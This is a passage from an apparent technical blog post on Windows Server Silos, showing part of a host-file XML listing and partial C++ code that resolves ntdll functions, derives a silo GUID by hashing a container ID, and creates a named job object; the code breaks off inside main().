<span class="nt"><file></span>System32\wow64cpu.dll<span class="nt"></file></span>
<span class="nt"><file></span>System32\wow64win.dll<span class="nt"></file></span>
<span class="nt"><file></span>System32\win32u.dll<span class="nt"></file></span>
<span class="nt"><file></span>SysWOW64\ntdll.dll<span class="nt"></file></span>
<span class="nt"><file></span>SysWOW64\verifier.dll<span class="nt"></file></span>
<span class="nt"><file></span>SysWOW64\win32u.dll<span class="nt"></file></span>
<span class="nt"></hostfiles></span>
<span class="nt"></namespace></span>
<span class="nt"></container></span>
</code></pre></div>
</details>
<h3><a href="#code_silo">A Minimal Silo Code</a></h3>
<p>The code below shows how to create a <strong>Silo</strong> using only <strong>Windows APIs</strong>.</p>
<p>To run it, it is necessary to own the <code>SeTcbPrivilege</code> privilege. This <a href="https://learn.microsoft.com/en-US/windows/security/threat-protection/auditing/event-4673">privilege allows to</a> <em>"Act as part of the operating system"</em>, and it is used for security purposes. Setting up a <strong>Silo</strong> requires this privilege.</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><Windows.h></span><span class="cp"></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><winternl.h></span><span class="cp"></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><bcrypt.h></span><span class="cp"></span>
<span class="cp">#pragma comment(lib, "bcrypt.lib")</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><iostream></span><span class="cp"></span>
<span class="k">typedef</span><span class="w"> </span><span class="n">NTSTATUS</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span><span class="w"> </span><span class="n">NT_CREATE_JOB_OBJECT</span><span class="p">)(</span><span class="n">PHANDLE</span><span class="p">,</span><span class="w"> </span><span class="n">ACCESS_MASK</span><span class="p">,</span><span class="w"> </span><span class="n">POBJECT_ATTRIBUTES</span><span class="p">);</span><span class="w"></span>
<span class="k">typedef</span><span class="w"> </span><span class="n">NTSTATUS</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span><span class="w"> </span><span class="n">NT_SET_INFORMATION_JOB_OBJECT</span><span class="p">)(</span><span class="w"></span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">JobHandle</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">JOBOBJECTINFOCLASS</span><span class="w"> </span><span class="n">JobInformationClass</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">JobInformation</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">JobInformationLength</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="k">typedef</span><span class="w"> </span><span class="n">VOID</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span><span class="w"> </span><span class="n">RTL_INIT_UNICODE_STRING</span><span class="p">)(</span><span class="n">PUNICODE_STRING</span><span class="p">,</span><span class="w"> </span><span class="n">PCWSTR</span><span class="p">);</span><span class="w"></span>
<span class="k">typedef</span><span class="w"> </span><span class="n">BOOLEAN</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span><span class="w"> </span><span class="n">RTL_CREATE_UNICODE_STRING</span><span class="p">)(</span><span class="w"></span>
<span class="w"> </span><span class="n">PUNICODE_STRING</span><span class="w"> </span><span class="n">DestinationString</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">PCWSTR</span><span class="w"> </span><span class="n">SourceString</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="k">typedef</span><span class="w"> </span><span class="n">NTSTATUS</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span><span class="w"> </span><span class="n">NT_ASSIGN_PROCESS_TO_JOB_OBJECT</span><span class="p">)(</span><span class="n">HANDLE</span><span class="w"> </span><span class="n">JobHandle</span><span class="p">,</span><span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">ProcessHandle</span><span class="p">);</span><span class="w"></span>
<span class="n">NT_CREATE_JOB_OBJECT</span><span class="w"> </span><span class="n">pNtCreateJobObject</span><span class="p">;</span><span class="w"></span>
<span class="n">NT_SET_INFORMATION_JOB_OBJECT</span><span class="w"> </span><span class="n">pNtSetInformationJobObject</span><span class="p">;</span><span class="w"></span>
<span class="n">RTL_INIT_UNICODE_STRING</span><span class="w"> </span><span class="n">pRtlInitUnicodeString</span><span class="p">;</span><span class="w"></span>
<span class="n">RTL_CREATE_UNICODE_STRING</span><span class="w"> </span><span class="n">pRtlCreateUnicodeString</span><span class="p">;</span><span class="w"></span>
<span class="n">NT_ASSIGN_PROCESS_TO_JOB_OBJECT</span><span class="w"> </span><span class="n">pNtAssignProcessToJobObject</span><span class="p">;</span><span class="w"></span>
<span class="kt">void</span><span class="w"> </span><span class="nf">FindNtdllFunctions</span><span class="p">()</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">BOOL</span><span class="w"> </span><span class="n">error</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FALSE</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">HMODULE</span><span class="w"> </span><span class="n">hNtDll</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">LoadLibraryA</span><span class="p">(</span><span class="s">"ntdll.dll"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">hNtDll</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">cerr</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="s">"Error ntdll.dll"</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">pNtCreateJobObject</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">NT_CREATE_JOB_OBJECT</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hNtDll</span><span class="p">,</span><span class="w"> </span><span class="s">"NtCreateJobObject"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">pNtCreateJobObject</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">cerr</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="s">"Error NtCreateJobObject"</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">error</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">TRUE</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">pNtSetInformationJobObject</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">NT_SET_INFORMATION_JOB_OBJECT</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hNtDll</span><span class="p">,</span><span class="w"> </span><span class="s">"NtSetInformationJobObject"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">pNtSetInformationJobObject</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">cerr</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="s">"Error NtSetInformationJobObject"</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">error</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">TRUE</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">pRtlInitUnicodeString</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">RTL_INIT_UNICODE_STRING</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hNtDll</span><span class="p">,</span><span class="w"> </span><span class="s">"RtlInitUnicodeString"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">pRtlInitUnicodeString</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">cerr</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="s">"Error RtlInitUnicodeString"</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">error</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">TRUE</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">pRtlCreateUnicodeString</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">RTL_CREATE_UNICODE_STRING</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hNtDll</span><span class="p">,</span><span class="w"> </span><span class="s">"RtlCreateUnicodeString"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">pRtlCreateUnicodeString</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">cerr</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="s">"Error RtlCreateUnicodeString"</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">error</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">TRUE</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">pNtAssignProcessToJobObject</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">NT_ASSIGN_PROCESS_TO_JOB_OBJECT</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hNtDll</span><span class="p">,</span><span class="w"> </span><span class="s">"NtAssignProcessToJobObject"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">pNtAssignProcessToJobObject</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">cerr</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="s">"Error pNtAssignProcessToJobObject"</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">error</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">TRUE</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hNtDll</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">error</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="n">UINT32</span><span class="w"> </span><span class="nf">swap_uint32</span><span class="p">(</span><span class="n">UINT32</span><span class="w"> </span><span class="n">val</span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">((</span><span class="n">val</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">8</span><span class="p">)</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF00FF00</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="p">((</span><span class="n">val</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">8</span><span class="p">)</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF00FF</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">16</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">16</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="n">UINT16</span><span class="w"> </span><span class="nf">swap_uint16</span><span class="p">(</span><span class="n">UINT16</span><span class="w"> </span><span class="n">val</span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">8</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">8</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="kt">void</span><span class="w"> </span><span class="nf">ConvertIdToGuid</span><span class="p">(</span><span class="n">WCHAR</span><span class="o">*</span><span class="w"> </span><span class="n">containerId</span><span class="p">,</span><span class="w"> </span><span class="n">UINT64</span><span class="w"> </span><span class="n">SiloId</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT64</span><span class="w"> </span><span class="n">ComputeSystemSeedId</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x41e4facbcab70344</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x6e3e289265abe5b5</span><span class="w"></span>
<span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT32</span><span class="o">*</span><span class="w"> </span><span class="n">tmp32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT32</span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="p">(</span><span class="n">ComputeSystemSeedId</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT16</span><span class="o">*</span><span class="w"> </span><span class="n">tmp16</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT16</span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="p">(</span><span class="n">ComputeSystemSeedId</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="n">tmp32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">swap_uint32</span><span class="p">(</span><span class="o">*</span><span class="n">tmp32</span><span class="p">);</span><span class="w"> </span><span class="c1">// bswap</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">swap_uint16</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">));</span><span class="w"> </span><span class="c1">// ror 8</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">swap_uint16</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">3</span><span class="p">));</span><span class="w"> </span><span class="c1">// ror 8</span>
<span class="w"> </span><span class="n">BCRYPT_ALG_HANDLE</span><span class="w"> </span><span class="n">hAlgo</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">BCRYPT_HASH_HANDLE</span><span class="w"> </span><span class="n">hHash</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">BCryptOpenAlgorithmProvider</span><span class="p">(</span><span class="o">&</span><span class="n">hAlgo</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"SHA1"</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"Microsoft Primitive Provider"</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">BCryptCreateHash</span><span class="p">(</span><span class="n">hAlgo</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">hHash</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">BCryptHashData</span><span class="p">(</span><span class="n">hHash</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">PUCHAR</span><span class="p">)</span><span class="n">ComputeSystemSeedId</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">ComputeSystemSeedId</span><span class="p">),</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">BCryptHashData</span><span class="p">(</span><span class="n">hHash</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">PUCHAR</span><span class="p">)</span><span class="n">containerId</span><span class="p">,</span><span class="w"> </span><span class="n">wcslen</span><span class="p">(</span><span class="n">containerId</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">UCHAR</span><span class="w"> </span><span class="n">hashed</span><span class="p">[</span><span class="mh">0x14</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">BCryptFinishHash</span><span class="p">(</span><span class="n">hHash</span><span class="p">,</span><span class="w"> </span><span class="n">hashed</span><span class="p">,</span><span class="w"> </span><span class="mh">0x14</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">BCryptDestroyHash</span><span class="p">(</span><span class="n">hHash</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">BCryptCloseAlgorithmProvider</span><span class="p">(</span><span class="n">hAlgo</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">tmp32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT32</span><span class="o">*</span><span class="p">)</span><span class="n">hashed</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="n">tmp32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">swap_uint32</span><span class="p">(</span><span class="o">*</span><span class="n">tmp32</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">tmp16</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT16</span><span class="o">*</span><span class="p">)</span><span class="n">hashed</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">swap_uint16</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">swap_uint16</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">3</span><span class="p">))</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x0FFF</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x5000</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">hashed</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">hashed</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x3F</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x80</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">SiloId</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">UINT64</span><span class="o">*</span><span class="p">)(</span><span class="o">&</span><span class="n">hashed</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">SiloId</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">UINT64</span><span class="o">*</span><span class="p">)(</span><span class="o">&</span><span class="n">hashed</span><span class="p">[</span><span class="mi">8</span><span class="p">]);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">NTSTATUS</span><span class="w"> </span><span class="n">Status</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">WCHAR</span><span class="w"> </span><span class="n">JobName</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sa">L</span><span class="s">"</span><span class="se">\\</span><span class="s">Container_30A261E2546330F6572686B3A1197367671197FB6369B68C97344C07C6D22A2A"</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">WCHAR</span><span class="w"> </span><span class="o">*</span><span class="n">ContainerId</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="n">JobName</span><span class="p">[</span><span class="mi">11</span><span class="p">];</span><span class="w"></span>
<span class="w"> </span><span class="n">FindNtdllFunctions</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="n">UNICODE_STRING</span><span class="w"> </span><span class="n">jobName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="n">pRtlInitUnicodeString</span><span class="p">(</span><span class="o">&</span><span class="n">jobName</span><span class="p">,</span><span class="w"> </span><span class="n">JobName</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">OBJECT_ATTRIBUTES</span><span class="w"> </span><span class="n">jobAttributes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="n">jobAttributes</span><span class="p">.</span><span class="n">Length</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x30</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">jobAttributes</span><span class="p">.</span><span class="n">RootDirectory</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">jobAttributes</span><span class="p">.</span><span class="n">ObjectName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="n">jobName</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">jobAttributes</span><span class="p">.</span><span class="n">Attributes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">OBJ_PERMANENT</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">jobAttributes</span><span class="p">.</span><span class="n">SecurityDescriptor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">jobAttributes</span><span class="p">.</span><span class="n">SecurityQualityOfService</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">ACCESS_MASK</span><span class="w"> </span><span class="n">accessMask</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x1f003f</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hJob</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">NTSTATUS</span><span class="w"> </span><span class="n">status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pNtCreateJobObject</span><span class="p">(</span><span class="o">&</span><span class="n">hJob</span><span class="p">,</span><span class="w"> </span><span class="n">accessMask</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">jobAttributes</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">status</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Error 'NtCreateJobObject': %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">status</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT64</span><span class="w"> </span><span class="n">ObjectInformation1</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">size_t</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">wcslen</span><span class="p">(</span><span class="n">ContainerId</span><span class="p">);</span><span class="w"> </span><span class="o">++</span><span class="n">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">ContainerId</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">towupper</span><span class="p">(</span><span class="n">ContainerId</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">ConvertIdToGuid</span><span class="p">(</span><span class="n">ContainerId</span><span class="p">,</span><span class="w"> </span><span class="n">ObjectInformation1</span><span class="p">);</span><span class="w"></span>
